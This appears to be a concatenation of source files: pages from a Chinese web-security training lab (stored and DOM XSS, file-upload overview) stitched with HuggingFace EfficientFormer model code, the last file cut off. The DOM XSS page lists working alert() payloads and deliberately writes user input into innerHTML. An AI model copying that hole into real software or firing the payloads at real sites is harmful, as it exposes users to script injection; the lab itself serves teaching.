<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("XSS跨站脚本", ["存储型XSS"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
$(document).ready(function() {
$("#adminAuthSection").hide(); // 页面加载时隐藏
});
var loginData = {
username: null,
token: null
};
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/xss/l2/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
loginData.token = resp["token"]; // 从响应中获取token
loginData.username = resp["username"]; // 从响应中获取用户名
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
fetchAdminAuthData();
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
function fetchAdminAuthData() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/xss/l2/getlog',
headers: {
'Authorization': loginData.token
},
success: function(response) {
if (response.status === "403") {
$("#notice")[0].innerHTML = generateNote("Token过期或错误,请重新登录");
} else if (response.status === "400") {
$("#notice")[0].innerHTML = generateNote("账号权限不足,请使用高权限账号登录");
} else if (response.status === "200") {
$("#adminAuthSection").show();
$("#LoginT").hide();
$("#Login").hide();
populateAuthTable(response.msg);
}
},
error: function() {
$("#notice")[0].innerHTML = generateNote("数据获取失败,请稍后重试");
}
});
}
function populateAuthTable(data) {
var tableBody = $("#adminAuthTable tbody");
tableBody.empty();
data.forEach(function(item, index) {
var row = `
<tr>
<td style="font-size: 21px">${index + 1}</td>
<td style="font-size: 21px">${item.USERNAME}</td>
<td style="font-size: 21px">${item.TIME}</td>
<td style="font-size: 21px">${item.LOGINIP}</td>
</tr>
`;
tableBody.append(row);
});
}
</script>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 2,575 | src/transformers/models/efficientformer/__init__.py | # Copyright 2022 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from typing import TYPE_CHECKING
from ...utils import OptionalDependencyNotAvailable, _LazyModule, is_torch_available, is_vision_available
_import_structure = {
"configuration_efficientformer": [
"EFFICIENTFORMER_PRETRAINED_CONFIG_ARCHIVE_MAP",
"EfficientFormerConfig",
]
}
try:
if not is_vision_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["image_processing_efficientformer"] = ["EfficientFormerImageProcessor"]
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["modeling_efficientformer"] = [
"EFFICIENTFORMER_PRETRAINED_MODEL_ARCHIVE_LIST",
"EfficientFormerForImageClassification",
"EfficientFormerForImageClassificationWithTeacher",
"EfficientFormerModel",
"EfficientFormerPreTrainedModel",
]
if TYPE_CHECKING:
from .configuration_efficientformer import EFFICIENTFORMER_PRETRAINED_CONFIG_ARCHIVE_MAP, EfficientFormerConfig
try:
if not is_vision_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .image_processing_efficientformer import EfficientFormerImageProcessor
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .modeling_efficientformer import (
EFFICIENTFORMER_PRETRAINED_MODEL_ARCHIVE_LIST,
EfficientFormerForImageClassification,
EfficientFormerForImageClassificationWithTeacher,
EfficientFormerModel,
EfficientFormerPreTrainedModel,
)
else:
import sys
sys.modules[__name__] = _LazyModule(__name__, globals()["__file__"], _import_structure, module_spec=__spec__)
|
2740908911/Pilot-Web | 5,202 | pilot-client/pages/xss/xss_dom.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>XSS跨站脚本-DOM型XSS</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>DOM型XSS</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">你是谁?</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<input type="text" class="form-control" name="own-text" id="own-text" placeholder="输入你的名字">
</div>
<button type="submit" class="btn btn-primary" onclick="submitText()">确认</button>
</div>
</form>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>你知道什么是DOM吗?</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面后,在输入框输入跨站脚本payload:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-1.png" referrerpolicy="no-referrer" alt="l3-1"></div></p></li><li><p><span>发现</span><code><script></code><span>标签无法触发XSS,使用</span><code><img></code><span>标签进行测试:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l3-2.png" referrerpolicy="no-referrer" alt="l3-2"></div></p></li><li><p><span>成功进行XSS,除此标签外,以下标签也可以在本题中XSS:</span></p><ul><li><p><code><input onfocus="alert('xss');"></code></p></li><li><p><code><iframe onload=alert("xss");></iframe></code></p></li><li><p><code><audio src=x onerror=alert("xss");></code></p></li><li><p><code><a onclick=alert(1)>M</code></p></li><li><p><code><div onclick="alert('xss')"></code></p></li><li><p><code><svg onclick="alert('xss')"></code></p></li><li><p><code><form/action=javascript:alert(22)><input/type=submit></code></p></li><li><p><span>……</span></p></li></ul></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在将用户输入直接拼接至JS代码时,未对数据进行过滤;但此漏洞危害较低,影响不大:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-3.html" width="100%" height="115px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-3.html" width="100%" height="3455px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("XSS跨站脚本", ["DOM型xss"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function submitText(){
$("#notice")[0].innerHTML = generateNote("你好呀: " + $("#own-text")[0].value + " !")
}
</script>
</body>
</html>
|
2740908911/Pilot-Web | 2,955 | pilot-client/pages/upload/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>文件上传-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>文件上传漏洞,字如其意,就是可能出现在一切允许上传文件的功能点。攻击者可以利用此漏洞将任意文件上传到服务器上,从而实现攻击目的。</p>
<p>任意文件上传通常是由于Web应用程序的开发人员没有对上传的文件类型和文件大小进行充分的验证和过滤所致。攻击者可以通过修改上传的文件类型、伪造上传的文件头等方式绕过验证,上传任意类型和大小的文件。一旦攻击者上传了恶意文件,他们就可以在服务器上执行任意的命令,并获得系统权限,这将给Web应用程序带来严重的安全威胁。</p>
<p>根据允许上传文件类型分类,会产生的危害也不同:</p>
<ol>
<li><p>允许上传脚本语言文件且解析 ==> getshell</p></li>
<li><p>允许上传html ==> xss、csrf、登陆劫持...</p></li>
<li><p>允许上传压缩包 ==> 压缩包DOS、解压文件getshell、目录穿越</p></li>
<li><p>允许上传pdf、svg、gif ==> xss、ssrf</p></li>
<li><p>允许上传png、jpg等 ==> dos、图片码getshell</p></li>
<li><p>允许上传excel、docx ==> xxe</p></li>
</ol>
</div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("文件上传", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 33,635 | src/transformers/models/efficientformer/modeling_efficientformer.py | # coding=utf-8
# Copyright 2022 Snapchat Research and The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" PyTorch EfficientFormer model."""
import itertools
from dataclasses import dataclass
from typing import Optional, Tuple, Union
import torch
import torch.utils.checkpoint
from torch import nn
from torch.nn import BCEWithLogitsLoss, CrossEntropyLoss, MSELoss
from ...activations import ACT2FN
from ...modeling_outputs import BaseModelOutput, BaseModelOutputWithPooling, ImageClassifierOutput
from ...modeling_utils import PreTrainedModel
from ...utils import (
ModelOutput,
add_code_sample_docstrings,
add_start_docstrings,
add_start_docstrings_to_model_forward,
logging,
)
from .configuration_efficientformer import EfficientFormerConfig
logger = logging.get_logger(__name__)
# General docstring
_CONFIG_FOR_DOC = "EfficientFormerConfig"
# Base docstring
_CHECKPOINT_FOR_DOC = "snap-research/efficientformer-l1-300"
_EXPECTED_OUTPUT_SHAPE = [1, 197, 768]
# Image classification docstring
_IMAGE_CLASS_CHECKPOINT = "snap-research/efficientformer-l1-300"
_IMAGE_CLASS_EXPECTED_OUTPUT = "Egyptian cat"
EFFICIENTFORMER_PRETRAINED_MODEL_ARCHIVE_LIST = [
"snap-research/efficientformer-l1-300",
# See all EfficientFormer models at https://huggingface.co/models?filter=efficientformer
]
class EfficientFormerPatchEmbeddings(nn.Module):
"""
This class performs downsampling between two stages. For the input tensor with the shape [batch_size, num_channels,
height, width] it produces output tensor with the shape [batch_size, num_channels, height/stride, width/stride]
"""
def __init__(self, config: EfficientFormerConfig, num_channels: int, embed_dim: int, apply_norm: bool = True):
super().__init__()
self.num_channels = num_channels
self.projection = nn.Conv2d(
num_channels,
embed_dim,
kernel_size=config.downsample_patch_size,
stride=config.downsample_stride,
padding=config.downsample_pad,
)
self.norm = nn.BatchNorm2d(embed_dim) if apply_norm else nn.Identity()
def forward(self, pixel_values: torch.Tensor) -> torch.Tensor:
batch_size, num_channels, height, width = pixel_values.shape
if num_channels != self.num_channels:
raise ValueError(
"Make sure that the channel dimension of the pixel values match with the one set in the configuration."
)
embeddings = self.projection(pixel_values)
embeddings = self.norm(embeddings)
return embeddings
class EfficientFormerSelfAttention(nn.Module):
def __init__(self, dim: int, key_dim: int, num_heads: int, attention_ratio: int, resolution: int):
super().__init__()
self.num_heads = num_heads
self.key_dim = key_dim
self.attention_ratio = attention_ratio
self.scale = key_dim**-0.5
self.total_key_dim = key_dim * num_heads
self.expanded_key_dim = int(attention_ratio * key_dim)
self.total_expanded_key_dim = int(self.expanded_key_dim * num_heads)
hidden_size = self.total_expanded_key_dim + self.total_key_dim * 2
self.qkv = nn.Linear(dim, hidden_size)
self.projection = nn.Linear(self.total_expanded_key_dim, dim)
points = list(itertools.product(range(resolution), range(resolution)))
num_points = len(points)
attention_offsets = {}
idxs = []
for point_1 in points:
for point_2 in points:
offset = (abs(point_1[0] - point_2[0]), abs(point_1[1] - point_2[1]))
if offset not in attention_offsets:
attention_offsets[offset] = len(attention_offsets)
idxs.append(attention_offsets[offset])
self.attention_biases = torch.nn.Parameter(torch.zeros(num_heads, len(attention_offsets)))
self.register_buffer("attention_bias_idxs", torch.LongTensor(idxs).view(num_points, num_points))
@torch.no_grad()
def train(self, mode=True):
super().train(mode)
if mode and hasattr(self, "ab"):
del self.ab
else:
self.ab = self.attention_biases[:, self.attention_bias_idxs]
def forward(self, hidden_states: torch.Tensor, output_attentions: bool = False) -> Tuple[torch.Tensor]:
batch_size, sequence_length, num_channels = hidden_states.shape
qkv = self.qkv(hidden_states)
query_layer, key_layer, value_layer = qkv.reshape(batch_size, sequence_length, self.num_heads, -1).split(
[self.key_dim, self.key_dim, self.expanded_key_dim], dim=3
)
query_layer = query_layer.permute(0, 2, 1, 3)
key_layer = key_layer.permute(0, 2, 1, 3)
value_layer = value_layer.permute(0, 2, 1, 3)
# set `model.to(torch_device)` won't change `self.ab.device`, if there is no follow-up `train` or `eval` call.
# Let's do it manually here, so users won't have to do this everytime.
if not self.training:
self.ab = self.ab.to(self.attention_biases.device)
attention_probs = (torch.matmul(query_layer, key_layer.transpose(-2, -1))) * self.scale + (
self.attention_biases[:, self.attention_bias_idxs] if self.training else self.ab
)
attention_probs = attention_probs.softmax(dim=-1)
context_layer = torch.matmul(attention_probs, value_layer).transpose(1, 2)
context_layer = context_layer.reshape(batch_size, sequence_length, self.total_expanded_key_dim)
context_layer = self.projection(context_layer)
outputs = (context_layer, attention_probs) if output_attentions else (context_layer,)
return outputs
class EfficientFormerConvStem(nn.Module):
def __init__(self, config: EfficientFormerConfig, out_channels: int):
super().__init__()
self.convolution1 = nn.Conv2d(config.num_channels, out_channels // 2, kernel_size=3, stride=2, padding=1)
self.batchnorm_before = nn.BatchNorm2d(out_channels // 2)
self.convolution2 = nn.Conv2d(out_channels // 2, out_channels, kernel_size=3, stride=2, padding=1)
self.batchnorm_after = nn.BatchNorm2d(out_channels)
self.activation = nn.ReLU()
def forward(self, pixel_values: torch.Tensor) -> torch.Tensor:
features = self.batchnorm_before(self.convolution1(pixel_values))
features = self.activation(features)
features = self.batchnorm_after(self.convolution2(features))
features = self.activation(features)
return features
class EfficientFormerPooling(nn.Module):
def __init__(self, pool_size: int):
super().__init__()
self.pool = nn.AvgPool2d(pool_size, stride=1, padding=pool_size // 2, count_include_pad=False)
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
output = self.pool(hidden_states) - hidden_states
return output
class EfficientFormerDenseMlp(nn.Module):
def __init__(
self,
config: EfficientFormerConfig,
in_features: int,
hidden_features: Optional[int] = None,
out_features: Optional[int] = None,
):
super().__init__()
out_features = out_features or in_features
hidden_features = hidden_features or in_features
self.linear_in = nn.Linear(in_features, hidden_features)
self.activation = ACT2FN[config.hidden_act]
self.dropout = nn.Dropout(config.hidden_dropout_prob)
self.linear_out = nn.Linear(hidden_features, out_features)
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
hidden_states = self.linear_in(hidden_states)
hidden_states = self.activation(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.linear_out(hidden_states)
hidden_states = self.dropout(hidden_states)
return hidden_states
class EfficientFormerConvMlp(nn.Module):
def __init__(
self,
config: EfficientFormerConfig,
in_features: int,
hidden_features: Optional[int] = None,
out_features: Optional[int] = None,
drop: float = 0.0,
):
super().__init__()
out_features = out_features or in_features
hidden_features = hidden_features or in_features
self.convolution1 = nn.Conv2d(in_features, hidden_features, 1)
self.actvation = ACT2FN[config.hidden_act]
self.convolution2 = nn.Conv2d(hidden_features, out_features, 1)
self.dropout = nn.Dropout(drop)
self.batchnorm_before = nn.BatchNorm2d(hidden_features)
self.batchnorm_after = nn.BatchNorm2d(out_features)
def forward(self, hidden_state: torch.Tensor) -> torch.Tensor:
hidden_state = self.convolution1(hidden_state)
hidden_state = self.batchnorm_before(hidden_state)
hidden_state = self.actvation(hidden_state)
hidden_state = self.dropout(hidden_state)
hidden_state = self.convolution2(hidden_state)
hidden_state = self.batchnorm_after(hidden_state)
hidden_state = self.dropout(hidden_state)
return hidden_state
# Copied from transformers.models.convnext.modeling_convnext.drop_path
def drop_path(input, drop_prob: float = 0.0, training: bool = False):
"""
Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks).
Comment by Ross Wightman: This is the same as the DropConnect impl I created for EfficientNet, etc networks,
however, the original name is misleading as 'Drop Connect' is a different form of dropout in a separate paper...
See discussion: https://github.com/tensorflow/tpu/issues/494#issuecomment-532968956 ... I've opted for changing the
layer and argument names to 'drop path' rather than mix DropConnect as a layer name and use 'survival rate' as the
argument.
"""
if drop_prob == 0.0 or not training:
return input
keep_prob = 1 - drop_prob
shape = (input.shape[0],) + (1,) * (input.ndim - 1) # work with diff dim tensors, not just 2D ConvNets
random_tensor = keep_prob + torch.rand(shape, dtype=input.dtype, device=input.device)
random_tensor.floor_() # binarize
output = input.div(keep_prob) * random_tensor
return output
# Copied from transformers.models.beit.modeling_beit.BeitDropPath with Beit->Bit
class EfficientFormerDropPath(nn.Module):
"""Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks)."""
def __init__(self, drop_prob: Optional[float] = None) -> None:
super().__init__()
self.drop_prob = drop_prob
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
return drop_path(hidden_states, self.drop_prob, self.training)
def extra_repr(self) -> str:
return "p={}".format(self.drop_prob)
class EfficientFormerFlat(nn.Module):
def __init__(self):
super().__init__()
def forward(self, hidden_states: torch.Tensor) -> Tuple[torch.Tensor]:
hidden_states = hidden_states.flatten(2).transpose(1, 2)
return hidden_states
class EfficientFormerMeta3D(nn.Module):
def __init__(self, config: EfficientFormerConfig, dim: int, drop_path: float = 0.0):
super().__init__()
self.token_mixer = EfficientFormerSelfAttention(
dim=config.dim,
key_dim=config.key_dim,
num_heads=config.num_attention_heads,
attention_ratio=config.attention_ratio,
resolution=config.resolution,
)
self.layernorm1 = nn.LayerNorm(dim)
self.layernorm2 = nn.LayerNorm(dim)
mlp_hidden_dim = int(dim * config.mlp_expansion_ratio)
self.mlp = EfficientFormerDenseMlp(config, in_features=dim, hidden_features=mlp_hidden_dim)
self.drop_path = EfficientFormerDropPath(drop_path) if drop_path > 0.0 else nn.Identity()
self.use_layer_scale = config.use_layer_scale
if config.use_layer_scale:
self.layer_scale_1 = nn.Parameter(config.layer_scale_init_value * torch.ones((dim)), requires_grad=True)
self.layer_scale_2 = nn.Parameter(config.layer_scale_init_value * torch.ones((dim)), requires_grad=True)
def forward(self, hidden_states: torch.Tensor, output_attentions: bool = False) -> Tuple[torch.Tensor]:
self_attention_outputs = self.token_mixer(self.layernorm1(hidden_states), output_attentions)
attention_output = self_attention_outputs[0]
outputs = self_attention_outputs[1:] # add self attentions if we output attention weights
if self.use_layer_scale:
layer_output = hidden_states + self.drop_path(
self.layer_scale_1.unsqueeze(0).unsqueeze(0) * attention_output
)
layer_output = layer_output + self.drop_path(
self.layer_scale_2.unsqueeze(0).unsqueeze(0) * self.mlp(self.layernorm2(layer_output))
)
else:
layer_output = hidden_states + self.drop_path(attention_output)
layer_output = layer_output + self.drop_path(self.mlp(self.layernorm2(layer_output)))
outputs = (layer_output,) + outputs
return outputs
class EfficientFormerMeta3DLayers(nn.Module):
def __init__(self, config: EfficientFormerConfig):
super().__init__()
drop_paths = [
config.drop_path_rate * (block_idx + sum(config.depths[:-1]))
for block_idx in range(config.num_meta3d_blocks)
]
self.blocks = nn.ModuleList(
[EfficientFormerMeta3D(config, config.hidden_sizes[-1], drop_path=drop_path) for drop_path in drop_paths]
)
def forward(self, hidden_states: torch.Tensor, output_attentions: bool = False) -> Tuple[torch.Tensor]:
all_attention_outputs = () if output_attentions else None
for layer_module in self.blocks:
if isinstance(hidden_states, tuple):
hidden_states = hidden_states[0]
hidden_states = layer_module(hidden_states, output_attentions)
if output_attentions:
all_attention_outputs = all_attention_outputs + (hidden_states[1],)
if output_attentions:
outputs = (hidden_states[0],) + all_attention_outputs
return outputs
return hidden_states
class EfficientFormerMeta4D(nn.Module):
def __init__(self, config: EfficientFormerConfig, dim: int, drop_path: float = 0.0):
super().__init__()
pool_size = config.pool_size if config.pool_size is not None else 3
self.token_mixer = EfficientFormerPooling(pool_size=pool_size)
mlp_hidden_dim = int(dim * config.mlp_expansion_ratio)
self.mlp = EfficientFormerConvMlp(
config, in_features=dim, hidden_features=mlp_hidden_dim, drop=config.hidden_dropout_prob
)
self.drop_path = EfficientFormerDropPath(drop_path) if drop_path > 0.0 else nn.Identity()
self.use_layer_scale = config.use_layer_scale
if config.use_layer_scale:
self.layer_scale_1 = nn.Parameter(config.layer_scale_init_value * torch.ones((dim)), requires_grad=True)
self.layer_scale_2 = nn.Parameter(config.layer_scale_init_value * torch.ones((dim)), requires_grad=True)
def forward(self, hidden_states: torch.Tensor) -> Tuple[torch.Tensor]:
outputs = self.token_mixer(hidden_states)
if self.use_layer_scale:
layer_output = hidden_states + self.drop_path(self.layer_scale_1.unsqueeze(-1).unsqueeze(-1) * outputs)
layer_output = layer_output + self.drop_path(
self.layer_scale_2.unsqueeze(-1).unsqueeze(-1) * self.mlp(layer_output)
)
else:
layer_output = hidden_states + self.drop_path(outputs)
layer_output = layer_output + self.drop_path(self.mlp(layer_output))
return layer_output
class EfficientFormerMeta4DLayers(nn.Module):
def __init__(self, config: EfficientFormerConfig, stage_idx: int):
super().__init__()
num_layers = (
config.depths[stage_idx] if stage_idx != -1 else config.depths[stage_idx] - config.num_meta3d_blocks
)
drop_paths = [
config.drop_path_rate * (block_idx + sum(config.depths[:stage_idx])) for block_idx in range(num_layers)
]
self.blocks = nn.ModuleList(
[
EfficientFormerMeta4D(config, config.hidden_sizes[stage_idx], drop_path=drop_path)
for drop_path in drop_paths
]
)
def forward(self, hidden_states: torch.Tensor) -> Tuple[torch.Tensor]:
for layer_module in self.blocks:
hidden_states = layer_module(hidden_states)
return hidden_states
class EfficientFormerIntermediateStage(nn.Module):
def __init__(self, config: EfficientFormerConfig, index: int):
super().__init__()
self.meta4D_layers = EfficientFormerMeta4DLayers(config, index)
def forward(self, hidden_states: torch.Tensor) -> Tuple[torch.Tensor]:
hidden_states = self.meta4D_layers(hidden_states)
return hidden_states
class EfficientFormerLastStage(nn.Module):
def __init__(self, config: EfficientFormerConfig):
super().__init__()
self.meta4D_layers = EfficientFormerMeta4DLayers(config, -1)
self.flat = EfficientFormerFlat()
self.meta3D_layers = EfficientFormerMeta3DLayers(config)
def forward(self, hidden_states: torch.Tensor, output_attentions: bool = False) -> Tuple[torch.Tensor]:
hidden_states = self.meta4D_layers(hidden_states)
hidden_states = self.flat(hidden_states)
hidden_states = self.meta3D_layers(hidden_states, output_attentions)
return hidden_states
class EfficientFormerEncoder(nn.Module):
def __init__(self, config: EfficientFormerConfig):
super().__init__()
self.config = config
num_intermediate_stages = len(config.depths) - 1
downsamples = [
config.downsamples[i] or config.hidden_sizes[i] != config.hidden_sizes[i + 1]
for i in range(num_intermediate_stages)
]
intermediate_stages = []
for i in range(num_intermediate_stages):
intermediate_stages.append(EfficientFormerIntermediateStage(config, i))
if downsamples[i]:
intermediate_stages.append(
EfficientFormerPatchEmbeddings(config, config.hidden_sizes[i], config.hidden_sizes[i + 1])
)
self.intermediate_stages = nn.ModuleList(intermediate_stages)
self.last_stage = EfficientFormerLastStage(config)
def forward(
self,
hidden_states: torch.Tensor,
output_hidden_states: bool = False,
output_attentions: bool = False,
return_dict: bool = True,
) -> BaseModelOutput:
all_hidden_states = () if output_hidden_states else None
all_self_attentions = () if output_attentions else None
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
for layer_module in self.intermediate_stages:
hidden_states = layer_module(hidden_states)
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
layer_output = self.last_stage(hidden_states, output_attentions=output_attentions)
if output_attentions:
all_self_attentions = all_self_attentions + layer_output[1:]
if output_hidden_states:
all_hidden_states = all_hidden_states + (layer_output[0],)
if not return_dict:
return tuple(v for v in [hidden_states, all_hidden_states, all_self_attentions] if v is not None)
return BaseModelOutput(
last_hidden_state=layer_output[0],
hidden_states=all_hidden_states,
attentions=all_self_attentions,
)
class EfficientFormerPreTrainedModel(PreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = EfficientFormerConfig
base_model_prefix = "efficientformer"
main_input_name = "pixel_values"
supports_gradient_checkpointing = False
def _init_weights(self, module: nn.Module):
"""Initialize the weights"""
if isinstance(module, (nn.Linear, nn.Conv2d)):
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.bias is not None:
module.bias.data.zero_()
elif isinstance(module, nn.LayerNorm):
module.bias.data.zero_()
module.weight.data.fill_(1.0)
EFFICIENTFORMER_START_DOCSTRING = r"""
This model is a PyTorch [nn.Module](https://pytorch.org/docs/stable/nn.html#nn.Module) subclass. Use it as a
regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage and behavior.
Parameters:
config ([`EfficientFormerConfig`]): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the [`~PreTrainedModel.from_pretrained`] method to load the model weights.
"""
EFFICIENTFORMER_INPUTS_DOCSTRING = r"""
Args:
pixel_values (`torch.FloatTensor` of shape `(batch_size, num_channels, height, width)`):
Pixel values. Pixel values can be obtained using [`ViTFeatureExtractor`]. See
[`ViTFeatureExtractor.__call__`] for details.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
@add_start_docstrings(
"The bare EfficientFormer Model transformer outputting raw hidden-states without any specific head on top.",
EFFICIENTFORMER_START_DOCSTRING,
)
class EfficientFormerModel(EfficientFormerPreTrainedModel):
def __init__(self, config: EfficientFormerConfig):
super().__init__(config)
self.config = config
self.patch_embed = EfficientFormerConvStem(config, config.hidden_sizes[0])
self.encoder = EfficientFormerEncoder(config)
self.layernorm = nn.LayerNorm(config.hidden_sizes[-1], eps=config.layer_norm_eps)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(EFFICIENTFORMER_INPUTS_DOCSTRING)
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=BaseModelOutputWithPooling,
config_class=_CONFIG_FOR_DOC,
modality="vision",
expected_output=_EXPECTED_OUTPUT_SHAPE,
)
def forward(
self,
pixel_values: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[tuple, BaseModelOutput]:
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if pixel_values is None:
raise ValueError("You have to specify pixel_values")
embedding_output = self.patch_embed(pixel_values)
encoder_outputs = self.encoder(
embedding_output, output_attentions=output_attentions, output_hidden_states=output_hidden_states
)
sequence_output = encoder_outputs[0]
